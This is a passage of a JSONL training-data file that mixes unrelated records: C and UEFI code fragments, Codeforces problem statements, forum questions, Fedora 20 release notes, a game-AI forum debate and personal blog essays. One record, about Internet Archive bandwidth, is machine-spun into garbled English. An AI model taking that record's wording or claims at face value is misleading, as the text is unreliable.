(list_is_empty(*front_ptr)) {\n *front_ptr = new;\n return (true);\n }\n for (temp = *front_ptr; temp->next; temp = temp->next);\n temp->next = new;\n return (true);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "When Xellos was doing a practice course in university, he once had to measure the intensity of an effect that slowly approached equilibrium. A good way to determine the equilibrium intensity would be choosing a sufficiently large number of consecutive data points that seems as constant as possible and taking their average. Of course, with the usual sizes of data, it's nothing challenging — but why not make a similar programming contest problem while we're at it?\n\nYou're given a sequence of n data points a1, ..., an. There aren't any big jumps between consecutive data points — for each 1 ≤ i < n, it's guaranteed that |ai + 1 - ai| ≤ 1.\n\nA range [l, r] of data points is said to be almost constant if the difference between the largest and the smallest value in that range is at most 1. Formally, let M be the maximum and m the minimum value of ai for l ≤ i ≤ r; the range [l, r] is almost constant if M - m ≤ 1.\n\nFind the length of the longest almost constant range.", "source": "cpt_codeforces", "language": "en", "token_count": 227, "token_count_with_eod": 228, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "/*===================================================================\n\nBlueBerry Platform\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http://www.mitk.org for details.\n\n===================================================================*/\n\n#ifndef IWORKBENCHPARTSITE_H_\n#define IWORKBENCHPARTSITE_H_\n\n\n#include \"berryIWorkbenchSite.h\"\n\nnamespace berry {\n\nstruct IWorkbenchPart;\n\n/**\n * \\ingroup org_blueberry_ui_qt\n *\n * The primary interface between a workbench part and the workbench.\n *

\n * This interface is not intended to be implemented or extended by clients.\n *

\n * @noimplement This interface is not intended to be implemented by clients.\n */\nstruct BERRY_UI_QT IWorkbenchPartSite : public IWorkbenchSite\n{\n\n berryObjectMacro(berry::IWorkbenchPartSite, IWorkbenchSite)\n\n ~IWorkbenchPartSite() override;\n\n /**\n * Returns the part registry extension id for this workbench site's part.\n *

\n * The name comes from the id attribute in the configuration\n * element.\n *

\n *\n * @return the registry extension id\n */\n virtual QString GetId() const = 0;\n\n /**\n * Returns the part associated with this site\n *\n * @return the part associated with this site\n */\n virtual SmartPointer GetPart() = 0;\n\n /**\n * Returns the unique identifier of the plug-in that defines this workbench\n * site's part.\n *\n * @return the unique identifier of the declaring plug-in\n */\n virtual QString GetPluginId() const = 0;\n\n /**\n * Returns the registered name for this workbench site's part.\n *

\n * The name comes from the name attribute in the configuration\n * element.\n *

\n *\n * @return the part name\n */\n virtual QString GetRegisteredName() const = 0;\n\n};\n\n} // namespace berry\n\n\n#endif /*IWORKBENCHPARTSITE_H_*/", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Let's say you're trying to fit a model to a dataset that includes categorical variables, group (A or B) and treatment (1, 2, 3 or 4).\nIn R, your model formula would be DV ~ group * treatment (DV stands for dependent variable) and your model output will look like this:\n(intercept) [...] groupB [...] treatment2 [...] treatment3 [...] treatment4 [...] groupB:treatment2 [...] groupB:treatment3 [...] groupB:treatment4 [...]\nMy question is how to interpret this kind of output. Below is what I believe is right for the interpretation of the main effects, and what puzzles me about the interaction parameters.\nThis the reference value, i.e. for treatment 1 in group A.\nThis is the difference between group A and group B for treatment 1 only.\nThis is the difference between treatment 1 and treatment 2, within group A only. It indeed still refers to the intercept value. Same logic for the two following estimates (\"treatment3\" and \"treatment4\").\nHere is where I get puzzled. Is this testing if the difference between treatment1 and treatment2 is the same in groupB compared to groupA, or is it testing if if the difference between groupA and groupB is the same for treatment1 compared to treatment2.\nI thought this question would be very basic, but I went through several R books with no luck and found inconsistent answers on here (see How to interpret 2-way and 3-way interaction in lmer? for support for the first idea and Interpreting the regression output from a mixed model when interactions between categorical variables are included for the other way).\nIf that matters, I'm working with the glmer function of the lme4 package.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "One Must Fall: Battlegrounds Summary\n22 February 2004 | By BCVlad\nWell here I am again with a new game to review. From the box and info given, I saw I have some robot fighting ahead. After ripping open the box and loading the game I seem somewhat immersed into a Saturday morning cartoon.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 70, "token_count_with_eod": 71, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Fedora 20 offers the newest version of Enlightenment. After over a decade of upstream development, the Enlightenment project has released the E17 desktop shell. a window manager and supporting suite of libraries.\nEnlightenment can be configured as a fast, spartan window manager or as a visually appealing desktop environment with ample eye candy.\nEnlightenment can be installed with the command\nyum install @enlightenment and used by choosing it at login.\nTo learn more, read http://www.enlightenment.org/p.php?p=about&l=en\nFedora 20 features GNOME 3.10. This latest version of the GNOME desktop will have a number of new applications and features:\n- New Feature: Fine grained scrolling when dragging the scroll bar handle, or scrolling while holding the shift key.\n- New feature: Support for login and authentication with Smart Cards.\n- New feature: Header bars: Header bars merge title bars and toolbars into a single element, giving more screen space to window content and improving presentation of application controls.\n- Improved Magnifier with caret tracking, press F7 to activate caret.\n- New Feature: Lock screen background customization\n- New feature: Geolocation: A new geolocation framework allows features like automatic timezone updates when travelling and location detection in\n- New feature:\nGNOME Documentssupport for OwnCloud\n- New feature: Drag and drop files between your computer and a\nBoxesguest. Windows guests will need http://spice-space.org/download/windows/spice-guest-tools/ installed, and linux guests will need an updated version of spice-vdagent.\n- New Feature:\nBoxessupport for importing filesystem images\n- Improved user interface for \"Comtacts\"\n- Improved automatic scaling for high pixel density displays.\n- Improved application selection in the shell Overview\n- Flikr integration with GNOME Online Accounts allows access to Flikr content in GNOME Photos.\n- Improved, integrated system status menu.\ngnome-tweak-tool, with improved design, extension integration, and expanded functionality.\ngnome-maps, A simple map application for the GNOME Desktop.\ngnome-music, a streamlined application for playing and sharing music.\nGNOME 3.10 also offers a technical preview of GNOME support for wayland. There is also preliminary support in this release for running GNOME-shell as a Wayland compositor, though Wayland may not be in the default packages for the final Fedora 20 release\nGNOME in Fedora will offer a new, visually appealing application for browsing and installing applications. GNOME Software shows information relevant to users, such as descriptions, screenshots, reviews and more.\nIn support of this functionality, Fedora contributors have combined their efforts to offer assistance and patches to upstream projects to improve their presentation in Software. Applications describe themselves to\nSoftware and other supporting tools using the AppData Specification\nThe older package management GUI, gpk-application, is still available.\nTo learn more about GNOME 3.10, check:\n- Upstream release notes: https://help.gnome.org/misc/release-notes/3.10/\n- New applications: https://help.gnome.org/misc/release-notes/3.10/more-apps.html\n- User Experience updates: https://help.gnome.org/misc/release-notes/3.10/more-core-ux.html\n- Internationalization notes: https://help.gnome.org/misc/release-notes/3.10/i18n.html\n- Sysadmin/Developer Notes: https://help.gnome.org/misc/release-notes/3.10/developers.html\nKDE Plasma Workspaces 4.11\nKDE Plasma Workspaces 4.11 is a long term release of the popular, full featured desktop environment. Major changes have been made to user experience, personal information management, and performance aspects of the platform.\n- Taskbar has been ported to QtQuick , providing more consistent and fluent behavior.\n- Battery widget now supports keyboard brightness, and displays status for multiple batteries in peripherals, such as in mice and keyboards.\n- Notification popups now have a configure button, allowing customization of the type of notification displayed.\n- Kmix, the KDE sound mixer, performs better and more stably, in addition to adding media player controls to the widget\n- Improved performance of Kwin, the KDE window manager.\n- Improved user interface design in Kwallet.\n- Kolourpaint, a simple painting application, now supports the WebP image format.\n- PDF viewer Okular adds review tools and undo/redo support for annotations and forms.\n- The JuK audio player and tagger adds support for playback and metadata editing of Ogg Opus format files.\n- Improved Kontact Suite, including better archiving, scheduled mail sending, simple message filtering interface, better notifications, and scam detection in Kmail.\n- Numerous optimizations to Dolphin reduce memory usage by up to 30%.\n- Better indexing and various improvements to Nemopuk make searches up to 6x faster, adds indexing for ODF, docx and other document formats, and improves backup and restoration functionality.\n- Note: Users upgrading to new versions of Nemopuk should expect their database to be automatically reindexed and upgraded. The conversion will consume more system resources than normal but will only occur on the first login after upgrading.\nSDDM as Display Manager\nThe KDE Desktop environment will use SDDM instead of KDM as the designated display and login manager. SDDM is the successor to KDM, and adds support for QtQuick themes.\nSome features may initially be missing from SDDM, such as VNC or multiseat support However, the SDDM development community is very active and regular additions to functionality are expected.\nKDM, the previous display manager, is still available from the Fedora repositories. Install it with the command\nyum install kdm and enable with the command\nsystemctl enable --force kdm.service\nPlasma-nm Network applet\nKDE in Fedora 20 includes Plasma-nm, a new applet for network management. It supports user-friendly creation and editing of all connection types from NetworkManager, including bridges, bonds, and VPNs, with a modern and intuitive interface.\nIn Fedora 20 the MATE desktop Bluetooth applet suffers compatibility issues with Bluez5. Users needing Bluetooth functionality should install the", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1324, "token_count_with_eod": 1325, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "- Security is a load of bullsh*t. There's nothing stopping someone from compiling their lua code with a standalone lua executable, and then loading it in via a widget. Just because so far nobody has bothered to do it and put it all in plain text, doesn't mean it cant be done.\nIt can't do much more than block Spring using an infinite loop or allocate infinite memory or so, whereas a native AI has full access to everything the user has access to, so it can wipe all your files, install trojans, etc.\nUpdates to the AI require a re-release of the entire game and a version bump\nNo reason a game would require a full re-release on an update to a Lua AI. The only real disadvantages here are:\n- It's impossible to make an AI that, when installed, is only a single file. Not much native AIs have this property either, though (only KAIK?).\n- It has a worse user experience when the AI is separate (Need to pick the AI mutator for the game to be able to add the AI...)\nBundling with an archive is anticompetitive\nA half decent content developer packages his mod up in an installer, thus negating the advantage of bundling AIs in the archive\nSo both Lua AIs and native AIs are equally anticompetitive for half decent content developers. Additionally, when a native AI is bundled you need full re-release on an update to the native AI too. (except when it is self updating, but I've yet to see that implemented [in a safe and cross-platform way])\nA third major advantage of Lua AIs is that they need no compiling and work on all platforms on which Spring works. This doesn't apply to native AIs.\nI agree with the other points, although IMO adapting to custom game rules and implementing APIs and stuff other than those which apply to the target game(s) may be a waste of time if the goal is simply to make a reasonable AI in the shortest amount of time possible.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 421, "token_count_with_eod": 422, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Once Vasya played bricks. All the bricks in the set had regular cubical shape. Vasya vas a talented architect, however the tower he built kept falling apart.\n\nLet us consider the building process. Vasya takes a brick and puts it on top of the already built tower so that the sides of the brick are parallel to the sides of the bricks he has already used. Let's introduce a Cartesian coordinate system on the horizontal plane, where Vasya puts the first brick. Then the projection of brick number i on the plane is a square with sides parallel to the axes of coordinates with opposite corners in points (xi, 1, yi, 1) and (xi, 2, yi, 2). The bricks are cast from homogeneous plastic and the weight of a brick a × a × a is a3 grams.\n\nIt is guaranteed that Vasya puts any brick except the first one on the previous one, that is the area of intersection of the upper side of the previous brick and the lower side of the next brick is always positive.\n\nWe (Vasya included) live in a normal world where the laws of physical statics work. And that is why, perhaps, if we put yet another brick, the tower will collapse under its own weight. Vasya puts the cubes consecutively one on top of the other until at least one cube loses the balance and falls down. If it happens, Vasya gets upset and stops the construction. Print the number of bricks in the maximal stable tower, that is the maximal number m satisfying the condition that all the towers consisting of bricks 1, 2, ..., k for every integer k from 1 to m remain stable.", "source": "cpt_codeforces", "language": "en", "token_count": 352, "token_count_with_eod": 353, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "In the last Monday of the January they held the first meeting of industry applications society (IEEE IAS) in Jordan that organized by:(IEEE YP Jordan ),(IEEE IAS Jordan section) and (IEEE PUST).\nThe meeting include some issues ,the most important is :\n1_ introduction by Dr.Ghaith abanda about IEEE jordan section .\n2_ Presentation what is IAS for student chapter by Dr.peter Magyar.\n3_ Technical workshop about smart Grid represented by prof. Wie jin lee.\nThe meeting gave the opportunity for student branch to veiw some of them achievements ,and submitted an award for previous society chair Tareq shnawer to thank hem for the hard work to development them society (PES/IAS).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I’m in a group called /dev/color, which is a professional development group for black engineers. I’ve been a member for the past three years, and I’m kicking off my fourth year in the program. Membership has impacted me in numerous ways, but I want to highlight one thing I’ve learned that is applicable beyond this specific network:\nAsk for help.\n/dev/color has a private Slack network, and in that network, there’s a channel called #askforhelp. It’s exactly what it sounds like. But it took me a while to being getting the most out of it. Turns out, it’s not so simple for me to ask for help.\nGoing it alone\nI’ve come to realize that I have internalized a “figure it out myself” mindset. This probably derives from not feeling safe being publicly incorrect during my childhood, which in turn might come from anxiety and environment.\nI grew up a black kid in a overwhelming white community. My family taught me that being black meant working twice as hard for opportunities and making a strong first impression to overcome the implicit assumption that I’m not as qualified—also known as prejudice. That taught me to come into new spaces knowing answers. Being informed and prepared has served me well as I have navigated adult life.\nBut sometimes, the strengths we lean on become maladaptive in certain situations. In my case, I advanced past the point where I could succeed on pure intuition. When I first became a engineering manager, I struggled with the transition. I came into my role with problems conceptualized and solutions planned. I led from the front, like a hero engineer, instead of focusing on setting my teammates up to drive the work forward. Deliverables went out on time, but my team wasn’t happy. I found myself having to work my way out of a rut.\nChanging it up\nFortunately, /dev/color came to New York shortly thereafter. I joined and began finding ways to leverage the organization to help me in my career. I realized I didn’t have figure out everything on my own. Receive and applying wisdom from the group helped me come to grips with my new job.\nFast forward to the beginning of my second year in /dev/color. As both professional and personal development tasks came up, I realized I was doing too much in my own head before simply posting my issue to #askforhelp. Take, for example, the task of getting my household financial situation in shape. I floundered on my own for a year simply trying to figure out where to start before realizing I should reach out to my network for advice. I did so on January 22, 2018, which yielded a couple book recommendations that unblocked my progress. By February 11, I had the first entry in the Our Financial Planning Voyage series up, and I was off and running. At the end of the year, I felt like my family was in command of our financial plan. Who knows how much value was unlocked by simply asking for help.\nIt finally dawned on me that I’m programmed to ask for help as my last option. I realized I had more work to do to break out of this habit. I needed to change my mindset.\nI now consciously try to override my tendency towards solitary struggle. I still do my independent research before I ask a question. After all, people help those who help themselves. But, I’m already planning to post my question in advance. My research is meant to help me craft a better question and be a good participant in the subsequent discussion. So there’s actually a little bit of nuance to the technique.\n/dev/color is one of several networks I belong to that serves this purpose for me. These networks center around all sorts of identities, affiliations, and shared experiences. Shared contexts help create the emotional safety to publicly not know something. I’m in networks of shared former employers and networks of more-or-less random chains of acquaintances. This technique is applicable anywhere. If you’re brave, you might even have success asking in a public space, like Twitter.\nPassing it on\nMy “ask for help” technique has helped me get better information faster, but it also has side benefits. First of all, it makes these networks stronger. I have noticed a virtuous cycle of help requested and given the more I participate. I realized I was contributing to an environment of psychological safety and knowledge sharing. Secondly, I’ve noticed that good questions lead to valuable discussions, with follow-up questions from others and productive tangents. Often, a lot of people end up getting helped from one initial question.\nThis all might seem obvious to some folks, but if you’re anything like me, maybe it’s actually a pretty big shift. It’s part of a broader shift I’m making towards being comfortable in vulnerability, but that’s a topic for another day.\nI hope you, too, begin to find better answers, quicker.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1010, "token_count_with_eod": 1011, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I need some help to find some fossil records of Meteorus (Braconidae, Euphorinae). 1 year ago I found a nice list of fossil hymenoptera on the web, unfortunately I can't find it again. The list showed species, age, area of location etc...\nDoes anybody know something about this or maybe where else I can find this info?\nI need fossil info to do some age analyses.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 90, "token_count_with_eod": 91, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Vertical Scroll on Android is rare. https://www.tutlane.com/tutorial/android/android-scrollview-horizontal-vertical-with-examples has animation of one such scroll and Microsoft Outlook web application (old style) is another example. Both cases show that scrollbar is so narrow that it is impossible to use it for actual scrolling with this, it seems to me that these scrollbars are for indication only? So, is it true, that Android vertical scroll can be for the information only?\nBut how to handle the situation when the content is grid that is full with actionaly content? I can not just touch any spot in this content, becuase then field become editable, the popup menus or selection lists opens, etc. I have thought about adding very wide scrollbar to implement scorlling, but apparently this could be very strange. I can preserve the information narrow scroll, but I feel that I should be some non-hot are in my content that can be used for the touching and scrolling only.\nNote, that my uses cases involves predetermined length list, no infinite scrolling.\nIs all this really true about Android scroll UIX?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 226, "token_count_with_eod": 227, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Re: RFS: picocli/3.5.2-1 [ITP] -- mighty tiny CLI library for JVM applications\n> I'm willing to sponsor the picocli package since this is a dependency of\n> JUnit 5.\nThank you for sponsoring picocli package!\nI received notification with URL:\nhttps://ftp-master.debian.org/new/picocli_3.5.2-1.html. I see, that\nmaintainer was changed to Debian Java Maintainers (no problem with\nthat). Is it standard for Java packages to have maintainer set to\nDebian Java Maintainers? Or, is it standard for commonly used Java\n> Do you plan to work on other Java packages after picocli?\nYes, I would like to. I have already following in mind:\n* Google Auto (for AutoValue): https://github.com/google/auto\n* gradle-apt-plugin: https://github.com/tbroyer/gradle-apt-plugin\n* my work-in-progress Java CLI tool: https://github.com/kravemir/svg-labels\nOr, do you have something else, specific, in mind?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 245, "token_count_with_eod": 246, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Ilya the Lion wants to help all his friends with passing exams. They need to solve the following problem to pass the IT exam.\n\nYou've got string s = s1s2... sn (n is the length of the string), consisting only of characters \".\" and \"#\" and m queries. Each query is described by a pair of integers li, ri (1 ≤ li < ri ≤ n). The answer to the query li, ri is the number of such integers i (li ≤ i < ri), that si = si + 1.\n\nIlya the Lion wants to help his friends but is there anyone to help him? Help Ilya, solve the problem.", "source": "cpt_codeforces", "language": "en", "token_count": 137, "token_count_with_eod": 138, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Play YouTube Videos\nUse an embedded player to play videos directly in your app and customize the playback experience.\nAdd YouTube Data\nLet users search YouTube content, upload videos, create and manage playlists, and more.\nAnalytics & Reporting\nUnderstand your users and how they interact with your channel and your videos.\nEnable users to subscribe to your YouTube channel with one click.\nSchedule live YouTube broadcasts and manage your broadcast video streams.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 88, "token_count_with_eod": 89, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "SAKE Lab member Fotis Kokkoras and final year student Thanos Pigadas participated in a hackathon event on open data exploitation, organized by Innovathens. They presented the web version of fuelGR, a family of applications built around the fuelGR API, which in turn is fed with prices of the Greek fuel market, provided by http://www.fuelprices.gr/. The application ranked at first place and received exceptional comments.\nThe Greek pages of the site are now available.\nPlease, feel free to provide feedback through the contact form.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 112, "token_count_with_eod": 113, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I have never used any form of version control. The reason is because I just can’t figure out how to use one. Many times I have said to myself I need to be using some kind of version control, I try to set it up, fail, then continue to not use one. Last time I spent about an entire week researching SVN before I finally gave up. Now that voice in the back of my head is once again telling me I need to setup some kind of version control.\nSo first of all… which is the easiest to set up?\nIs there a book/article/tutorial that takes you from having no knowledge at all to quickly being able to have one up and running on your website?\nI would really like to be using one.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This application can easily manage the map to \"Place where it wants to go\".\nGoogleMap to the place where it wants to open the screen and to go one-touch opens it soon.\nIn addition, the place can be taught the friend by transmitting the place with mail.\nAt the time of meeting Time when place where I am is taught\nand delicious restaurant, etc.\nWhen the place is taught the person, it is convenient.\nAbout the registration of the place where it wants to go\nIt selects it from three below pushing an upper \"Add New Map\" button.\n\"Map\": It is possible to register by doing the tap on the Google map screen.\n\"here from GPS\": The present place is registered.\n\"write directly\": Coordinates are personally input and registered.\nAbout the edit of E-mail and data\nIt is long push in the screen of the start,\nthe following can be done.\n\"mail\" The place can be transmitted with mail.\n\"delete\" Data is deleted.\n\"edit name\" It is name of data revokable.\nDifference with pay version\n20 maps can be registered.\nThe advertisement is inserted.\n↓↓↓ webPage ↓↓↓", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 249, "token_count_with_eod": 250, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I am Julien Diener, currently living in Paris. This is my personal website\nDownload my CV\nI have been coding since I am a kid. After a B.Sc. in Math at Heriot-Watt University (Edinburgh),\nI got a Ph.D. in Computer Graphics at INPG (Grenoble). I then worked in several projects, with physicists, biologists,\nand now with quants (the math part of finance).\nSo, on one hand, I think I am a good coder with strong math skill. And I consider my-self a Full-Stack Hacker:\n- Full-Stack because I make decisions based on all involved components and efficiency of the development process\n- Hacker because I like to find and take advantages from the subtleties-that-matter\nAnd on the other hand, during my career working with many different people and topics, I became particularly proficient for\nthe design of numerical workflow in complex, interdisciplinary, projects. Also, I developed a strong managerial sense\nbased on two main principles:\n- Honesty: to put it simply, the expectation of all collaborators, and clients, should be clear\n- Short cycles and agility: every communication, development and test steps should be as short, frequent and\nautomatized as possible. Agile methods are here to help us.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 270, "token_count_with_eod": 271, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/** @file\n Policy definition for PCIe Config Block\n\n Copyright (c) 2018 - 2019, Intel Corporation. All rights reserved.
\n SPDX-License-Identifier: BSD-2-Clause-Patent\n\n**/\n\n#ifndef __PCIE_PREMEM_CONFIG_H__\n#define __PCIE_PREMEM_CONFIG_H__\n\n#include \n\n///\n/// SA GPIO Data Structure\n///\ntypedef struct {\n GPIO_PAD GpioPad; ///< Offset 0: GPIO Pad\n UINT8 Value; ///< Offset 4: GPIO Value\n UINT8 Rsvd0[3]; ///< Offset 5: Reserved for 4 bytes alignment\n UINT32 Active :1; ///< Offset 8: 0=Active Low; 1=Active High\n UINT32 RsvdBits0:31;\n} SA_GPIO_INFO_PCIE;\n\n///\n/// SA Board PEG GPIO Info\n///\ntypedef struct {\n SA_GPIO_INFO_PCIE SaPeg0ResetGpio; ///< Offset 0: PEG0 PERST# GPIO assigned, must be a PCH GPIO pin\n SA_GPIO_INFO_PCIE SaPeg3ResetGpio; ///< Offset 12: PEG3 PERST# GPIO assigned, must be a PCH GPIO pin\n BOOLEAN GpioSupport; ///< Offset 24: 1=Supported; 0=Not Supported\n UINT8 Rsvd0[3]; ///< Offset 25: Reserved for 4 bytes alignment\n} PEG_GPIO_DATA;\n\n#endif /* __PCIE_PREMEM_CONFIG_H__ */", "source": "cpt_stack_code", "language": "code", "token_count": 363, "token_count_with_eod": 364, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Ehab loves number theory, but for some reason he hates the number $$$x$$$. Given an array $$$a$$$, find the length of its longest subarray such that the sum of its elements isn't divisible by $$$x$$$, or determine that such subarray doesn't exist.\n\nAn array $$$a$$$ is a subarray of an array $$$b$$$ if $$$a$$$ can be obtained from $$$b$$$ by deletion of several (possibly, zero or all) elements from the beginning and several (possibly, zero or all) elements from the end.", "source": "cpt_codeforces", "language": "en", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Final week the Web Archive upped our bandwidth skill 30%, in step with increased usage and increased monetary toughen. Thanks.\nThis is our outbound bandwidth graph that has several tales to relate…\nA year within the past, usage change into 30Gbits/sec. At the starting of this year, we were at 40Gbits/sec, and we were dealing with it. That is 13 Petabytes of downloads per 30 days. This has served tens of millions of customers to materials within the wayback machine, these listening 78 RPMs, these making an attempt digitized books, streaming from the TV archive, and heaps others. We were about the 250th most smartly-appreciated web device basically based fully totally on Alexa Web.\nThen Covid-19 hit and quiz rocketed to 50Gbits/sec and overran our network infrastructure’s potential to accommodate it. A lot so, our network statistics probes had diagram back collecting data (hence the white spots within the graphs).\nWe supplied a 2d router with novel line cards, and received it put in and running (and none of this is easy during a plague), and increased our skill from 47Gbits/sec height to 62Gbits/sec height. And we’re dealing with it better, but it completely continues to be consumed.\nAlexa Web now says we’re about the 160th most smartly-appreciated web device.\nSo now we’re making an attempt on the next steps up, that can also preserve extra instruments and is extra wizardry, but we’re engaged on it.\nThanks as soon as more for the toughen, and within the occasion you wish to donate extra, please perceive it will originate collections to attend tens of millions. https://archive.org/donate", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Becoming a better software developer involves a combination of technical skills, personal growth, and professional development. Here are ten tips to help you improve as a software developer:\n1. Continuously Learn and Stay Updated: Software development is a rapidly evolving field. Stay up to date with the latest technologies, programming languages, frameworks, and best practices. Read books, participate in online courses, attend conferences, and follow industry blogs and forums.\n2. Practice Regularly: Coding is a skill that improves with practice. Dedicate regular time to coding exercises, personal projects, and challenges. By writing code consistently, you'll become more efficient, learn new techniques, and reinforce your knowledge.\n3. Seek Feedback and Collaborate: Actively seek feedback from peers, mentors, and code reviews. Collaboration helps you learn from others and exposes you to different perspectives and approaches. Engage in discussions, participate in open-source projects, and be open to constructive criticism.\n4. Master Fundamentals: Solidify your understanding of core computer science concepts like algorithms, data structures, and design patterns. Strong fundamentals enable you to solve complex problems efficiently and build scalable, robust software.\n5. Write Clean and Maintainable Code: Strive for clean, readable, and maintainable code. Follow coding standards, adhere to naming conventions, and use appropriate design patterns. Write modular code, utilize comments effectively, and focus on code simplicity and clarity.\n6. Embrace Testing: Write tests for your code to ensure it functions as intended and to catch bugs early. Familiarize yourself with different testing methodologies such as unit tests, integration tests, and automated testing frameworks. Writing testable code improves code quality and reduces future issues.\n7. Version Control: Learn and use a version control system like Git. Version control helps track changes, collaborate with others, and revert to previous versions if necessary. Understand branching and merging strategies to manage code effectively.\n8. Improve Problem-Solving Skills: Software development involves solving problems. Sharpen your problem-solving abilities by practicing algorithmic challenges, puzzles, and logical reasoning exercises. Develop the ability to break down complex problems into smaller, manageable steps.\n9. Communication and Collaboration: Effective communication and collaboration are vital skills for software developers. Clear communication with team members, stakeholders, and clients helps to align expectations, gather requirements, and work together efficiently. Develop interpersonal skills and actively participate in team discussions and meetings.\n10. Embrace Continuous Improvement: Software development is a continuous learning process. Embrace a growth mindset and strive for constant improvement. Reflect on your work, identify areas for growth, and seek opportunities to expand your knowledge and skill set.\nRemember, becoming a better software developer is a journey that requires consistent effort and dedication. Embrace new challenges, learn from failures, and stay passionate about your craft.\nbetter Software,Programmer,Top 10,Tips & Tricks,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 588, "token_count_with_eod": 589, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Polycarp has guessed three positive integers $$$a$$$, $$$b$$$ and $$$c$$$. He keeps these numbers in secret, but he writes down four numbers on a board in arbitrary order — their pairwise sums (three numbers) and sum of all three numbers (one number). So, there are four numbers on a board in random order: $$$a+b$$$, $$$a+c$$$, $$$b+c$$$ and $$$a+b+c$$$.\n\nYou have to guess three numbers $$$a$$$, $$$b$$$ and $$$c$$$ using given numbers. Print three guessed integers in any order.\n\nPay attention that some given numbers $$$a$$$, $$$b$$$ and $$$c$$$ can be equal (it is also possible that $$$a=b=c$$$).", "source": "cpt_codeforces", "language": "en", "token_count": 154, "token_count_with_eod": 155, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "ISRO Ahmedabad office just informed me that the four episodes of the info-tainment series Digital Funda that I had written back in 2002-03 has already been aired on Doordarshan. And I missed them! Anyway, they at least saw the light of the day. It was a simple animated program explaining the little kids how the computer works. Better late than never.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 82, "token_count_with_eod": 83, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The \"Parmigiana di melanzane\" is a typical Italian dish. Alessandro and Bianca have very different tastes when it comes to it: Alessandro loves to eat Parmigiana with seafood, but Bianca thinks it is an atrocity! To decide which ingredients to include in the dish they prepare, they play the following game.\n\nThere are $$$n$$$ possible ingredients, labeled from $$$1$$$ to $$$n$$$. The higher the label, the closer the ingredient is to being seafood. The ingredients are connected by $$$n - 1$$$ edges, in such a way as to form a tree. Alessandro and Bianca take turns, with Alessandro going first. They alternately choose a terminal ingredient $$$x$$$, that is an ingredient currently connected to at most one other ingredient, and remove it from the tree. If the terminal ingredient $$$x$$$ was chosen by Alessandro, it goes in the recipe; if it was chosen by Bianca, it is discarded.\n\nThe taste of the Parmigiana is measured as the maximum label of an ingredient in the recipe. Alessandro wants to maximize the taste, while Bianca wants to minimize the taste. If both play optimally, what is the taste of the Parmigiana?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "In the previous level, we looked at enumeration, abbreviation and algorithmic encodings. But there are more kinds of encoding schemes.\nA hierarchy partitions the set of values into disjoint categories, then partitions those categories into subcategories, and so forth until some final level is reached. Such schemes are shown either as nested sets or as tree charts. Each category has some meaning in itself and the subcategories refine meaning further.\nThe most common example is the Dewey Decimal Classification (DDC) system, used in public libraries in the English-speaking world. It is based on numeric ranges of decimal numbers. The 500 number series covers \"Natural Sciences\"; within that, the 510's cover \"Mathematics\"; finally, 512 deals with \"Algebra\" in particular. The scheme could be carried further, with decimal fractions for kinds of algebra.\nHierarchical encoding schemes are great for large data domains that have a natural hierarchy. They organize the data for searching and reporting along that natural hierarchy and make it very easy. But there can be problems in designing these schemes. First of all, the tree structure does not have to be neatly balanced, so some categories may need more codes than others and hence more breakdowns. Eastern and ancient religions were shortchanged in the original DDC, reflecting a prejudice toward Christian and Jewish writings. Asian religions were pushed into a very small set of codes. Today, the Library of Congress has more books on Buddhist thought than on any other religion on Earth.\nSecond, you might not have made the right choices as to where to place certain values in the tree. For example, in the original DDC, books on logic are in 164, a subcategory in 